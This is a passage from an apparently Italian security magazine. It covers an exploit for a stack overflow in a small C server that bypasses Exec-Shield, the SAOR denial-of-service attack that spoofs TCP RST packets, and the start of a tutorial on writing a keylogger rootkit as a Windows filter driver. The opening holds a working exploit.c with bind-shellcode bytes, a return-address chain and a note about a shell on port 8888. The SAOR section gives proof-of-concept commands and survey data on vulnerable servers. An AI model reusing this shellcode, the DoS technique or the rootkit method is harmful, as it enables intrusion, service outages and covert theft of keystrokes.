sizeof(xab)); if (ret == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); } ret = listen(fd, 5); if (ret == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); } for (; ;) { clen = sizeof(client); newfd = accept(fd, (struct sockaddr *)&client, &clen); if (newfd == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); } read(newfd, mex, sizeof(mex), 0); pointer = mex; handle(mex); memset(&mex, 0, sizeof(mex)); send(newfd, "Thank You!\r\n", 12, 0); close(newfd); } } void handle(char *mex) { /* Puntatori Inutilizzati. Il loro scopo in questo sorgente di test è solamente quello di occupare spazio in memoria. */ char *a, *b, *c, *d; do_it(mex); return; } void do_it(char *mex) { char request[256]; memset(&request, 0, sizeof(request)); strcpy(request, mex); printf(">>%s>>\r\n", request); } Tabella 2: exploit.c #include #include #include #include #include #include #include <stdio.h> <stdlib.h> <netinet/in.h> <sys/socket.h> <error.h> <errno.h> <string.h> 36 look at BYPASSARE EXEC-SHIELD SU FEDORA E REDHAT LINUX (x86) LINUX #include <strings.h> char shellcode[] = // shellcode 108 byte "\x29\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x84\x06\x32" "\xd3\x83\xeb\xfc\xe2\xf4\xb5\xdd\x61\x90\xd7\x6c\x30\xb9\xe2\x5e\xab\x5a" "\x65\xcb\xb2\x45\xc7\x54\x54\xbb\xa6\xbe\x54\x80\x0d\xe7\x58\xb5\xdc\x56" "\x63\x85\x0d\xe7\xff\x53\x34\x60\xe3\x30\x49\x86\x60\x81\xd2\x45\xbb\x32" "\x34\x60\xff\x53\x17\x6c\x30\x8a\x34\x39\xff\x53\xcd\x7f\xcb\x63\x8f\x54" "\x5a\xfc\xab\x75\x5a\xbb\xab\x64\x5b\xbd\x0d\xe5\x60\x80\x0d\xe7\xff\x53" // 152 byte di A "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" "AAAAAAAA" // 6 istruzioni RET "\xdd\x88\x04\x08\xdd\x88\x04\x08\xdd\x88\x04\x08\xdd\x88\x04\x08" "\xdd\x88\x04\x08\xdd\x88\x04\x08" // strcpy() PLT "\x18\x85\x04\x08" // 1 istruzione RET "\xdd\x88\x04\x08" // library address "\x55\xd0\x4b\x00"; int main(int argc, char *argv[]) { int fd, ret, l = 0, i = 0; struct sockaddr_in xab; char buf[4098]; if (argc != 2) { printf("utilizzo %s [Indirizzo_IP]\r\n", argv[0]); exit(EXIT_FAILURE); } fd = socket(AF_INET, SOCK_STREAM, 0); if (fd == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); } memset(&xab, 0, sizeof(xab)); xab.sin_family = AF_INET; xab.sin_port = htons(60000); xab.sin_addr.s_addr = inet_addr(argv[1]); ret = connect(fd, (struct sockaddr *)&xab, sizeof(xab)); if (ret == -1) { printf("%s\r\n", strerror(errno)); exit(EXIT_FAILURE); } send(fd, shellcode, strlen(shellcode), 0); close(fd); printf("[%s]: Controlla la porta TCP 8888 per una shell\r\n", argv[1]); } 37 look at CROSS PLATFORM SAOR: Attacco al TCP sequenza TCP. Nel caso di SAOR però il tipo di DoS generato è di differente entità. Il successo dell'attacco consiste nel blocco momentaneo o nel rallentamento del servizio colpito, mentre in altri casi può addirittura causarne il crash. Questo rende SAOR una valida alternativa ai tradizionali attacchi di massa DDoS basati sulla saturazione della banda a disposizione dell'host vittima, in quanto l'azione offensiva può essere condotta in modo preciso su uno specifico servizio, sprecando meno risorse hardware e/o di rete e risultando quindi in un minore rischio di individuazione. Se c'è un motivo per il quale probabilmente questa tecnica non è stata vastamente impiegata fra le botnet di PC zombie, questo è da ricercare nelle modalità di pubblicazione del post originariamente apparso nel 2002 nella mailing list sikurezza.org, ovvero esclusivamente in lingua italiana e mai tradotto né divulgato in altre forme o attraverso fonti alternative. Introduzione C inque anni fa veniva pubblicato nella mailing list sikurezza.org[1] un messaggio che descriveva una tecnica di offesa denominata dal suo stesso autore SAOR, acronimo di States Attack Over RST. A dispetto del poco interessamento mostrato dalla comunità nei confronti del post (tanto che questa tipologia di attacco può essere considerata ancora oggi inedita al grande pubblico che orbita attorno al panorama internazionale della sicurezza informatica) SAOR rimane a distanza di così tanto tempo una tecnica che può rappresentare una minaccia reale di vasta portata. Riconducibile alla categoria dei DoS/DDoS, SAOR non è un attacco basato sulla saturazione della banda di rete quanto sull'utilizzo sovversivo del bit di controllo RST dei pacchetti TCP. Il fine è quello di generare connessioni disallineate, ovvero attive nella tabella dei collegamenti del server ma contemporaneamente inesistenti presso quella del client. L'impiego del flag RST non è nuovo a scenari di offesa perpetrati tramite Internet. Uno studio[2] rilasciato dal ricercatore Paul Watson nel 2004 descriveva ad esempio come attraverso lo spoofing, il bit di controllo RST potesse essere utilizzato per distruggere le connessioni intercorse fra due host senza conoscere preventivamente i numeri di [1] http://www.sikurezza.org/ml/06_02/msg00172.html [2] http://osvdb.org/reference/SlippingInTheWindow_v1.0.doc CLIENT SERVER CLOSED LISTEN SYN (100) SYN_SENT SYN (300) ACK(101) SYN_RCV ESTABLISHED ACK (301) ESTABLISHED Figura 1: TCP Three Way Handshake 38 SAOR: Attacco al TCP CROSS PLATFORM look at ed un Acknowledgement Number, sempre della dimensione di 32 bit, che equivale al valore di K+1. Questo comportamento indica che il server accetta la connessione e chiede conferma per l'inizio della sessione (cioè lo scambio vero e proprio dei dati) . Il server in questo momento si trova nello stato SYN_RCVD; Il 3 Way Handshake Per comprendere questa tecnica di attacco è necessario fare un passo indietro rispolverando il modo in cui le connessioni TCP vengono stabilite. Il preludio, ovvero la sincronizzazione della sessione prima che il client ed il server possano scambiarsi reciprocamente i dati, avviene tramite una procedura definita 3-way handshake e regolata dalla RFC 793[3] proprio attraverso lo scambio di tre pacchetti (Figura 1) così distribuiti: § Il client risponde al server con un pacchetto TCP attivando il bit di controllo ACK e generando un Acknowledgement Number a 32 bit equivalente al valore di J+1, concludendo di fatto la fase del 3 way handshake. § il client invia un pacchetto TCP al server attivando il bit di controllo SYN e generando un numero di sequenza (Sequenze Number) a 32 bit che qui definiremo K. Questo pacchetto equivale ad una richiesta di connessione. Il client si trova in questo momento nello stato SYN_SENT; A questo punto la connessione in entrambi le direzioni è ESTABLISHED (stabilita). In realtà il client passa dallo stato SYN_SENT allo stato ESTABLISHED già dopo aver ricevuto il secondo pacchetto inviato durante il preludio alla connessione. § il server risponde al client con un pacchetto TCP attivando contemporaneamente i bit di controllo SYN ed ACK. Il server genera anche un proprio numero di sequenza a 32 bit che qui definiremo J [3] http://www.faqs.org/rfcs/rfc793.html 32 bits Destination port Source port Sequence number Acknowledgement number TCP header lenght U R G A C K P S H R S T S Y N F I N Window size Urgent pointer Checksum Options (0 or more 32-bit words) Data (optional) Figura 2: header TCP 39 look at CROSS PLATFORM SAOR: Attacco al TCP server, auto-chiudendo così la sua connessione). Il secondo è il modo in cui avviene il reset del collegamento. Il Sequence Number è infatti uguale all'Acknowledgment Number dell'ultimo pacchetto inviato dal client al completamento del three way handshake (terzo riferimento in Tabella 1). Anche i numeri che identificano le porte del client e del server devono naturalmente essere gli stessi affinché la connessione possa essere efficacemente distrutta. SAOR: l'attacco Un attacco di tipo SAOR ha origine subito dopo che una connessione è stata stabilita. Il client inganna lo stack TCP/IP del suo sistema operativo resettando la connessione attraverso il bit di controllo RST, utilizzando la tecnica dello spoofing (Figura 3). Questa procedura viene ripetuta centinaia o migliaia di volte ed ha spesso l’effetto di causare il crash, il blocco di un servizio o rallentarne notevolmente le performance. Per capire cosa accade realmente analizziamo in Tabella 1 il contenuto di una sessione di esempio (semplificata per l'occasione) ottenuta mediante tcpdump[4]. I primi tre pacchetti sono relativi all'inizio ed al completamento della fase di three way handshake. Il quarto pacchetto è invece il vero e proprio vettore dell'attacco. Qui è possibile notare due aspetti di interesse. Il primo è che la connessione pare essere stata resettata dal server (in realtà è il client che attraverso la tecnica dello spoofing ha falsificato il pacchetto in modo da farlo apparire proveniente dal [4] http://www.tcpdump.org: Analizzatore di rete per Linux basato su linea di comando che può essere impiegato all'occorrenza anche come packet sniffer. Un'implementazione per Windows denominata Windump è disponibile dal sito http://www.winpcap.org/windump/ CLIENT SERVER CLOSED LISTEN SYN (100) SYN_SENT SYN (300) ACK(101) SYN_RCV ESTABLISHED ACK (301) ESTABLISHED RST (301) Figura 3: Vettore di un attacco SAOR (RST Packet) 40 look at CROSS PLATFORM SAOR: Attacco al TCP TABELLA 1: sessione ricavata con il comando tcpdump -n-S port 80 Pacchetto 1: client.48550 > server.http: S 2118170236:2118170236(0) win 5840 Pacchetto 2: server.http > client.48550: S 59907385:59907385(0) ack 2118170237 Pacchetto 3: client.48550 > server.it.http: . ack 59907386 win 183 Pacchetto 4: server.http > client.48550: R 59907386:59907386(0) win 0 Legenda S = SYN . = nessun dato solo ACK R = RST Ciò significa che nessuna nuova richiesta può essere servita da Apache per i successivi 5 minuti dall'attacco. Il DoS può essere ripetuto all'infinito in quanto anche disponendo di modeste capacità di banda e di un unico sistema dal quale condurre l'azione malevola, è possibile allocare in poco tempo molte più connessioni fantasma di quante il server riesca a chiuderne. Case Study: Apache 1.3.x e 2.0.x Tra i servizi che maggiormente si prestano ad un attacco di tipo SAOR vi è HTTP ed in particolare l'implementazione offerta dal Web Server Apache (per il momento prenderemo in esame solo le versioni del branch 1.3.x e 2.0.x). Sono due le impostazioni che lo rendono particolarmente soggetto a questa problematica: Un metodo semplice per misurare il Timeout di un web server Apache 1.3 o 2.0 è quello di eseguire il comando: § Timeout: indica dopo quanti secondi ciascuna connessione HTTP deve essere terminata; § Maxclients: indica quante connessioni contemporanee il web server può gestire; # date; telnet www.nomesito.xx 80; date Di default, partendo da un'installazione praticata attraverso i sorgenti[5], entrambi le opzioni sono così e calcolare la differenza tra i due orari stampati a video prima e dopo il termine di esecuzione del telnet. configurate in httpd.conf: Ma osserviamo più da vicino un esempio pratico degli effetti causati da un attacco di tipo SAOR. Per farlo ci avvarremo di un Proof Of Concept che la redazione di Security System desidera mettere a disposizione dei suoi lettori[6]. Timeout 300 MaxClients 150 L'effetto prodotto quando la coda di Apache raggiunge il limite massimo (MaxClients) di connessioni gestibili è che il servizio smette di elaborare ogni altra richiesta aggiuntiva proveniente dai client. In condizioni di default quindi un SAOR Attack permette di allocare in pochissimo tempo 150 o più connessioni, ciascuna delle quali rimane appesa nello stato ESTABLISHED [5] http://httpd.apache.org [6] http://www.segfault.it/SS/001/SAOR/saor_listen.tar.gz: Il PoC può essere compilato su Linux ma i suoi effetti si estendono anche a servizi ospitati in altre piattaforme (come Windows ad esempio). per 300 secondi prima di essere terminata dal server. 41 look at CROSS PLATFORM Il codice è inedito e non è mai stato pubblicato in rete, pertanto può essere considerato a tutti gli effetti uno 0day (forse non più a partire da oggi ). Fare riferimento al file README all'interno del package prelevabile dal sito www.segfault.it per determinare come compilare l'applicazione e risolvere le dipendenze necessarie (step che non copriremo in questo articolo). Il sorgente si compone di due parti (SAOR-listen e SAOR- SAOR: Attacco al TCP Dall'output si evince che nel server è in atto un collegamento proveniente da ip_client dalla porta 51979 verso il servizio web locale (porta 80). Questa connessione però lato client non esisterà. Ciò significa che il server ha una connessione allocata nello stato ESTABLISHED che di fatto non esiste. La procedura qui riprodotta, reiterata svariate volte, permette in parole povere di allocare presso il server centinaia o migliaia di connessioni fantasma rispetto ad un dispendio di risorse client side praticamente nullo. Ad esempio lanciando opportunamente la componente SAOR-connect, in poco tempo ip_server sulla porta 80 connect). La prima è la componente server. Si occupa essenzialmente di osservare i pacchetti che fluiscono in rete e determinare se e quando resettare con il metodo SAOR una connessione. La seconda è invece la componente client che si occupa di avviare ripetutamente il three way handshake presso la destinazione ed il servizio vittima (una semplice connect() ripetuta dentro un ciclo infinito). non sarà più raggiungibile. Quanto più il timeout del servizio sarà elevato, tanto più l'attacco avrà efficacia. Un ulteriore aspetto interessante degno di nota è che l'attacco non produce alcuna indicazione nei file di log del servizio che permetta all'amministratore di risalire a chi lo ha condotto. Raggiunto il limite Maxclients nel file degli errori del webserver (di default error_log) Per lanciare la parte server aprite una finestra di shell e digitate: # ./SAOR-listen "host ip_server and port 80" eth0 l'unico messaggio visibile sarà: Gli argomenti specificati indicano a SAOR-listen di [Sun Apr 01 17:51:22 2007] [error] server reached MaxClients setting, consider raising the MaxClients setting resettare tutte le connessioni relative al socket ip_server:80 passanti per l'interfaccia eth0. Facciamo adesso un test manuale. Lanciamo da locale (ovvero da dove è stato avviato SAOR-listen) un telnet verso Niente indirizzi IP quindi neanche in access_log in quanto il semplice three way handshake non è sufficiente per generare una entry nei log di Apache se a seguire non vi è una esplicita richiesta HTTP. ip_server: # telnet ip_server 80 Trying ip_server... Connected to ip_server Escape character is '^]'. Connection closed by foreign host. Case Study: Apache 2.2.x Gli ultimi rilasci stabili del branch 2.2 di Apache appaiono essere più coriacei rispetto alle edizioni 1.3.x e 2.0.x del web server di fronte ad un SAOR Attack. A partire da questo release infatti il servizio non considera stabilito un collegamento fino a quando il client non invia almeno un byte di dati al server. Osserviamo più da vicino cosa succede dopo che il three way handshake viene portato a termine su Apache 2.2: La prima cosa da notare è che quasi immediatamente la connessione viene chiusa (segno che la componente SAOR-listen sta svolgendo adeguatamente il suo lavoro). Adesso spostiamoci momentaneamente sul server e diamo un breve sguardo alla sua tabella delle connessioni: # netstat -an [...] ip_server:80 ip_client:51979 ESTABLISHED 42 look at CROSS PLATFORM SAOR: Attacco al TCP handshake, all'arrivo del primo SYN chi attacca vedrebbe infatti il kernel della propria macchina rispondere con un pacchetto RST, il che farebbe capire al server che la connessione presso il client non esiste, connessione che a sua volta verrebbe chiusa lato Apache. 16:05:41.088095 server.80 > client.52346: S 2119450554 ack 256910396 16:05:41.088124 client.52346 > server.80: . ack 2119450555 16:05:47.137328 server.80 > client.52346: S 2119450554 ack 256910396 16:05:47.137358 client.52346 > server.80: . ack 2119450555 Questo non significa però che il branch 2.2 del web server è immune da attacchi SAOR. Il problema può infatti essere facilmente bypassato inviando, al completamento del three way handshake, un solo byte di dati e resettando subito dopo la connessione lato client. 16:06:23.186346 server.80 > client.52346: S 2119450554 ack 256910396 16:06:23.186376 client.52346 > server.80: . ack 2119450555 […] Le modifiche necessarie per rendere utilizzabile anche con Apache 2.2.x il codice segnalato nella nota 6 sono minime (solo un paio di step in più). Lasciamo comunque al lettore il compito di adattarlo a piacimento! Si può notare come il server invii ad intervalli regolari crescenti un pacchetto TCP con flag SYN a cui il client risponde ogni volta con un ACK. Un normale attacco SAOR non potrebbe funzionare in questo caso. Se la connessione viene resettata appena dopo il three way QUALCHE DATO STATISTICO Noi dello staff di Security System abbiamo voluto sondare in prima persona l'attuale livello di diffusione delle tre ultime versioni di Apache, testando 46.670 web server in rete. Dai risultati emerge che ancora una grande quantità di sistemi fa largo uso dei branch 1.3.x e 2.0.x, a dispetto di un maggior livello di protezione offerto dall'edizione 2.2.x, più resistente ad attacchi di tipo SAOR ma non completamente immune a questa tecnica di offesa: 7,14% Apache 1,3,x (27.257) 34,46% Apache 2.0x (16081) 58,40% Apache 2.2.x (3332) 43 look at CROSS PLATFORM SAOR: Attacco al TCP Un altro rilievo interessante proviene dal tempo di Timeout medio che deve trascorrere prima che il web server Apache scarti una connessione nulla (ovvero nella quale, dopo il termine del three way handshake, non viene più scambiato alcun dato). In quest'altro caso emerge che è ancora molto alta in rete la percentuale di web server che hanno un timeout di 5 minuti o compreso nell'intervallo 1-3 minuti e che sono quindi particolarmente esposti ad un attacco SAOR : 5 minuti 14,28% tra 1 e 3 minuti 47,60% meno di 60 secondi 38,12% Con Timeout superiori o uguali al minuto in genere è sufficiente lanciare un SAOR Attack da un unico sistema per riuscire a bloccare o rallentare considerevolmente un web server Apache. E gli altri servizi? HTTP è un servizio che si presta maggiormente ad attacchi di tipo SAOR ma non è l'unico esposto a tale minaccia. Quando si parla di questa tecnica dobbiamo infatti distinguere tra due categorie differenti di servizi/protocolli: quelli che al termine del three way handshake attendono la richiesta dell'utente e quelli che immediatamente dopo inviano al client un banner identificativo o uno stream di byte service dependent[7]. Appartengono ad esempio alla prima categoria oltre ad HTTP anche RDP (il protocollo che rende possibili le sessioni di desktop remoto su Windows) ed SMB (il protocollo per le condivisioni di file e stampanti che rappresenta una delle parti più importanti che compongono il servizio CIFS) mentre per la seconda categoria (indubbiamente più numerosa) si possono menzionare FTP, SMTP, POP3, IMAP, RFB (il protocollo utilizzato dal VNC e dai sistemi derivati), SSH, etc… Prendendo come riferimento alcuni fra questi ultimi 44 servizi (nello specifico SMTP, SSH, FTP e POP3) abbiamo deciso di testare il loro grado di resistenza ad un attacco di tipo SAOR. Ciò che ne è scaturito sono i risultati delle Tabelle 2 e 3. Pur non riportato in entrambe queste tabelle, è significativo come dai nostri test siamo riusciti a bloccare con successo il servizio di desktop remoto di Windows 2000 ma non quello di Windows Server 2003 (che impone una restrizione sul numero delle connessioni fatte da uno specifico indirizzo IP, restrizioni non presenti invece nella versione precedente del sistema operativo). Nel caso del servizio CIFS (porte 139/445) siamo invece riusciti a replicare un DoS precludendo la fase di autenticazione remota e di scambio di file su Windows 2000 SP4 e Windows XP SP2 (Windows Server 2003 non è stato testato in questo caso). [7] Per intenderci il codice dimostrativo indicato nella nota 6 funziona solo contro la prima categoria di servizi. Lasciamo al lettore il compito di adattarlo in modo che possa funzionare anche con i servizi appartenenti alla seconda categoria. look at CROSS PLATFORM Fra le implementazioni SMTP, Exim è invece risultato in ogni implementazione testata non vulnerabile. Stesso discorso per Courier nella categoria dei servizi POP3. SAOR: Attacco al TCP Al contrario di Apache infine le versioni 5.0 e 6.0 di IIS (il web server presente di default in alcune edizioni di Microsoft Windows) non sono risultare vulnerabili ad un attacco di tipo SAOR. TABELLA 2 Vulnerabile SMTP POP3 FTP SSH 65% 63,63% 87,50 100% Percentuali di vulnerabilità[8] al SAOR Attack riscontrate su 45 implementazioni totali dei servizi SMTP, POP3, FTP ed SSH testati Non Vulnerabile 35% 36,37% 12,50 0% [8] Un servizio viene considerato vulnerabile se un attacco SAOR riesce a precluderne l'accesso agli utenti per un periodo di tempo arbitrario o se riesce notevolmente a rallentarne le performance. TABELLA 3 SMTP POP3 OpenSSH 3.5.1 TPOP 3D FTP ProFtpd 1.2.8/1.2.9/1.2.10/1.3.10 LukeMFTPD 1.2 Beta 1 Qmail Cubib Circle 1.31 Postfix Sendmail 8.12.11/8.12.9 Exchange 2003/ Microsoft SMTP 6.0 ArgoSoft 1.8.2.3 MDaemon 7.1.3/8.1.3 SSH Imail 5.0.6 WarFTPD 1.71 OpenSSH 3.8.1 Argosoft 1.8.2 PureFTPD OpenSSH 4.2 OpenSSH 3.7.1 Cyrus 2.0.16 OpenSSH 4.2p1 MDaemon 9.5.6 OpenSSH 4.5 Alcuni dei servizi e delle implementazioni software risultati vulnerabili[9] ad un attacco SAOR [9] Si premette che le medesime versioni di alcuni fra questi servizi sono risultate talvolta vulnerabili in certi casi e non vulnerabili in altri. Ciò dipende naturalmente dal modo in cui il servizio è configurato e dalle misure di hardening effettivamente implementate per proteggerlo. I dati della tabella devono pertanto essere considerati in funzione di questo aspetto. Conclusione Diversi altri aspetti che per il momento intendiamo lasciamo in sospeso dovrebbero essere discussi su SAOR, aspetti che ci ripromettiamo di approfondire in un altro numero di Security System. Prima di concludere però vale la pena spendere qualche parola sulle possibilità di difesa contro la tecnica oggi descritta. Molti servizi da noi testati e risultati immuni ad un SAOR Attack sferrato da un singolo sistema, si difendono attualmente implementando un limite nelle connessioni client. Superato questo limite non viene più concesso allo stesso indirizzo IP di comunicare con il servizio fino a quando le altre connessioni allocate non vengono chiuse. Seppure un buon metodo per proteggersi da un attacco lanciato da un unico host, ciò non è sufficiente a mettere la parola fine sulla questione, soprattutto in uno scenario distribuito dove cioè più sistemi collaborano al fine di seppellire il server sotto il carico di migliaia di collegamenti fantasma. Quale altro metodo secondo voi potrebbe aiutare a risolvere definitivamente il problema? Segnalateci le vostre idee (ed eventualmente il vostro codice) scrivendo a [email protected]. Potreste essere coinvolti in una iniziativa cui daremo maggiore spazio a partire dai prossimi numeri di Security System. 45 look at FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows WINDOWS D a almeno 11 anni a questa parte[1] uno degli strumenti immancabili nella “valigia virtuale” di ogni smanettone è il rootkit. Sviluppato con lo scopo di sniffare il traffico di rete, intercettare i tasti digitati dagli utenti o sovvertire le normali operazioni del sistema agendo da backdoor (ovvero con l'obiettivo principale di assicurarsi un accesso invisibile e reiterato nel tempo) i primi componenti di questo tipo operavano in user land, andando a sostituire i comuni file di sistema. L'approccio però si rivelò ben presto inefficace con l'avvento di tool come Tripwire[2], capaci di fotografare lo stato del filesystem in un dato momento e compararlo con uno snapshot successivo per identificare le applicazioni modificate o gli elementi estranei aggiunti. L'interesse degli smanettoni cominciò quindi a spostarsi verso il lato kernel. I vantaggi di eseguire il proprio codice a ring 0[3] erano in passato (e sono ancora oggi nel presente) notevoli. Anzitutto si ha la possibilità di disporre sempre di privilegi superiori a qualsiasi altra applicazione eseguita in user land (anche lanciata con permessi amministrativi), inoltre ci si trova ad operare allo stesso livello di tutte le altri componenti kernel, incluse quelle installate dalle comuni applicazioni antivirus ed antispyware, permettendo all'intruso di “guerreggiare” ad armi pari con esse. In aggiunta una componente che gira in kernel land non è identificata da un processo in esecuzione in memoria visionabile ad esempio con il Task Manager o con strumenti simili, quindi è meno facilmente rintracciabile. Rootkit per Windows Allo stesso modo di Linux e più in generale di Unix, i primi rootkit apparsi su Windows operavano principalmente in user land. In questo caso alcune tecniche di hooking erano addirittura note fin dal 1994[4][5]. Dal 2004 ad oggi però il numero dei kernel rootkit è cresciuto in modo impressionante fino a giungere ai livelli odierni di totale predominanza. Su Windows a girare a ring 0 sono i driver. Non a caso un kernel rootkit per Windows è essenzialmente un driver che opera come filtro sulle richieste passanti. Al contrario però di molti altri sistemi operativi, ogni device (ovvero dispositivo fisico) in ambiente Microsoft può 46 essere gestito da più di un driver, cioè i driver in Windows sono organizzati secondo un modello a strati: ognuno ha il suo ruolo ed entra in gioco in un momento specifico. Ad esempio la componente che comunica direttamente con l'hardware viene definita bus driver (diminutivo PDO), mentre quella che implementa le funzionalità principali viene denominata function driver (o utilizzando un diminutivo, FDO). [1] Quando l'autore dell'articolo ha iniziato ad interessarsi di sicurezza informatica nel 1997, era molto praticato al tempo l'hacking delle shell finalizzato all'installazione di IRC BNCBot o PSYBot, tutte componenti che si cercava di nascondere agli occhi indiscreti dell'admin, inizialmente con metodi rudimentali (ad esempio rinominando il file di sistema originale ed al suo posto utilizzando uno script bash che richiamava l'applicazione regolare e filtrava l'output prima che venisse visualizzato dall'amministratore della macchina), poi via via con delle applicazioni compilate che venivano organizzate in veri e propri package, fino a giungere alla creazione di moduli kernel. [2] Di fatto questo genere di strumenti sono in grado di calcolare l'impronta digitale di ogni file presente nel filesystem con algoritmi di hashing come MD5 o SHA-1, oltre a tenere traccia degli ultimi accessi e delle ultime modifiche. [3] Nell'architettura x86 (ma si tratta di un aspetto più o meno comune a molte altre piattaforme hardware) il processore fornisce un meccanismo elementare di divisione dei privilegi attraverso i ring. Ad esempio Windows e Linux sui sistemi a 32 bit fanno girare le applicazioni utente a ring 3 (inclusi i programmi lanciati dall'amministratore) e le componenti kernel (i driver) a ring 0. I ring in mezzo vengono raramente e comunque quasi mai direttamente utilizzati dal sistema operativo. Il passaggio da un ring meno privilegiato ad uno di livello superiore avviene attraverso un call gate o nei moderni processori tramite l'istruzione sysenter. [4] “Load Your 32-bit DLL into Another Process's Address Space Using INJLIB” Microsoft Systems Journal Volume 9 Number 5 (May 1994). [5] Funzioni come SetWindowsHookEx() e GetAsyncKeyState()(esportate dalla libreria User32.dll) possono essere utilizzate fin da Windows 95 ed NT 3.1 per progettare componenti malware come keylogger. look at FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows WINDOWS Esiste però una terza categoria di driver che è meno nota ma indubbiamente più interessante dal punto di vista della sicurezza, il Filter Driver. Gerarchicamente parlando, per ciascun dispositivo fisico del sistema, il PDO è l'elemento collocato più in basso, seguito dall'FDO e quindi dagli eventuali Filter Driver[6]. Quando si verifica un evento o una richiesta di interazione con l'hardware in questione, questo evento/richiesta viene prima visto dalla componente filtro, quindi dall'FDO e poi dal bus driver (il PDO), ovvero l'elemento più astrattamente vicino all'hardware. Una volta soddisfatta, la richiesta/evento fa il percorso inverso (PDO->FDO->FIlter Driver). Se quindi lo scopo legittimo di un filter driver è quello di “agganciarsi” allo stack delle componenti kernel che gestiscono un dispositivo hardware filtrando le interazioni in ingresso/uscita (ad esempio per implementare una nuova funzionalità o risolvere un bug nel function driver senza dover necessariamente modificare il codice), allo stesso tempo gli usi ai fini sovversivi di questa tecnologia sono altrettanto evidenti. Con poco sforzo diviene infatti possibile creare componenti come keylogger e sniffer, attaccandosi ai device driver che gestiscono tastiera e scheda di rete. Uno dei modi migliori per cominciare ad addentrarsi in questo mondo parecchio vasto ed in continua evoluzione è quindi quello di osservare da vicino come è fatto un kernel rootkit. Per lo scopo di quest'oggi analizzeremo il sorgente di esempio Klog[7], un keylogger lato kernel scritto da Clandestinity, divenuto molto celebre e diffuso in rete. Per ragioni di spazio naturalmente nel presente articolo diversi aspetti verranno tralasciati (ad esempio il significato di alcuni parametri passati a certe funzioni). Questi possono comunque essere meglio compresi analizzando la documentazione WDK di Microsoft Windows (riferirsi al box accanto per ulteriori informazioni). Il codice è comunque ottimamente commentato e tradotto in lingua italiana per i lettori di Security System. Per una maggiore usufruibilità dell'articolo consigliamo quindi di stamparlo e seguirlo passo passo. 47 Quali strumenti sono necessari per iniziare a creare un rootkit? Il Windows Driver Kit (in passato Driver Development Kit) è un package rilasciato gratuitamente da Microsoft che contiene tutti gli strumenti e la documentazione utili per la creazione di un ambiente di sviluppo e test di driver per Windows. Per prelevare il kit nel momento in cui si scrive è necessario loggarsi (o preventivamente registrarsi) con u n a c c o u n t p a s s p o r t a l s i t o http://connect.microsoft.com/. First Steps Come già detto un filter driver opera mediante un hook. Questo “aggancio” avviene in modo trasparente, ovvero i driver di livello inferiore non sono allertati della presenza del filtro che può così agire in totale libertà per nascondere/modificare dati o semplicemente per intercettarli in modo silenzioso. Tali dati vengono scambiati per mezzo degli IRP (I/O Request Packet), una struttura allocata dall'I/O Manager di Windows[8] proprio per consentire la comunicazione tra i vari device driver. La prima funzione invocata quando un driver viene caricato in memoria è DriverEntry (un po' come l'entry point di una comune applicazione in C è il corpo main ed in una DLL la funzione DllMain) : DriverEntry( IN PDRIVER_OBJECT pDriverObject, IN PUNICODE_STRING RegistryPath ) [6] Non sempre questo è vero. I filter driver si distinguono infatti in low ed upper filter. Quelli appartenenti alla prima categoria risiedono sopra il PDO ma sotto l'FDO, mentre i secondi stanno sia sopra il PDO che l'FDO. Questi ultimi danno indubbiamente sfogo ai casi più interessanti perché sono in grado di intercettare i dati passanti ancora prima del driver vero e proprio (ovvero del function driver). [7] http://www.seg-fault.net /SS/001/rootkits/krootkit_pack.gz [8] Componente di Windows che si occupa di veicolare le richieste di Input/Output allo strato kernel e permette il caricamento/scaricamento dinamico dei driver. look at FILTER DRIVER: Costruire rootkit a basso sforzo sfruttando il modello driver stratificato di Windows WINDOWS Uno dei primi compiti che viene svolto all'interno di DriverEntry è quello di popolare l'IRP dispatch table, un'array in cui vengono definiti dei puntatori a delle funzioni che gestiscono opportunamente le richieste pervenute al driver. Poiché il mancato recapito di tali richieste dal filtro ai driver di livello inferiore precluderebbe certamente la corretta interazione dell'utente con il dispositivo associato, i filter driver devono supportare tutti gli IRP Request implementati dal driver di livello più basso. Di solito si limitano quindi a definire una funzione di pass-thru[9] per ogni possibile richiesta IRP (nell'esempio sotto DispatchPassDown), salvo poi impostarne una specifica per le richieste reputate di interesse (sempre nell'esempio sotto DispatchRead). Nel caso di un keyboard filter driver questo interesse è interamente volto ad intercettare le richieste di lettura (IRP_MJ_READ) dalla tastiera (in pratica i tasti battuti dall'utente): for(int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++) pDriverObject->MajorFunction[i] = DispatchPassDown; pDriverObject->MajorFunction[IRP_MJ_READ] = DispatchRead; [9] Una funzione di pass-thru si limita semplicemente a passare inalterati gli IRP, ovvero le richieste pervenute, al driver di livello inferiore. Il percorso compiuto da un IRP Quando l'utente preme un tasto nella tastiera, l'I/O Manager del sistema operativo genera una richiesta IRP vuota (IRP_MJ_READ) che attraversa tutta la catena dei device driver (Figura 1) fino al controller i8042 (quello preposto alla gestione dell'hardware in questione). A questo punto all'interno dell'IRP viene collocato lo scancode (nient'altro che un identificativo numerico che corrisponde al tasto premuto) e la richiesta viene inoltrata verso l'alto, ovvero compie il percorso inverso. Tuttavia per vederla ritornare, il filter driver deve impostare una Completation Routine nel momento in cui riceve l'IRP vuoto, una specie di marchio che ha un significato del tipo “voglio rivederti una volta che avrai lo scancode al tuo interno”. Questo è il momento in cui un keylogger interviene. Ottenuto lo scancode, il keylogger deve convertirlo all'effettivo tasto premuto utilizzando un'apposita tabella di conversione. Le tabelle di conversione possono essere implementate attraverso delle keymap, vere e proprie mappe di caratteri che variano anche in modo parecchio consistente in base al layout della tastiera (cioè alla lingua configurata nel sistema). LIVELLO LOGICO LIVELLO LOGICO Keyboard Filter Driver (Rootkit) “Klog.sys” Rootkit Device Object (Senza nome) Keyboard class driver “Kbdclass.sys” /device/keyboardclass0 Keyboard bus driver “i8042prt.sys” Device Object senza nome Catena dei 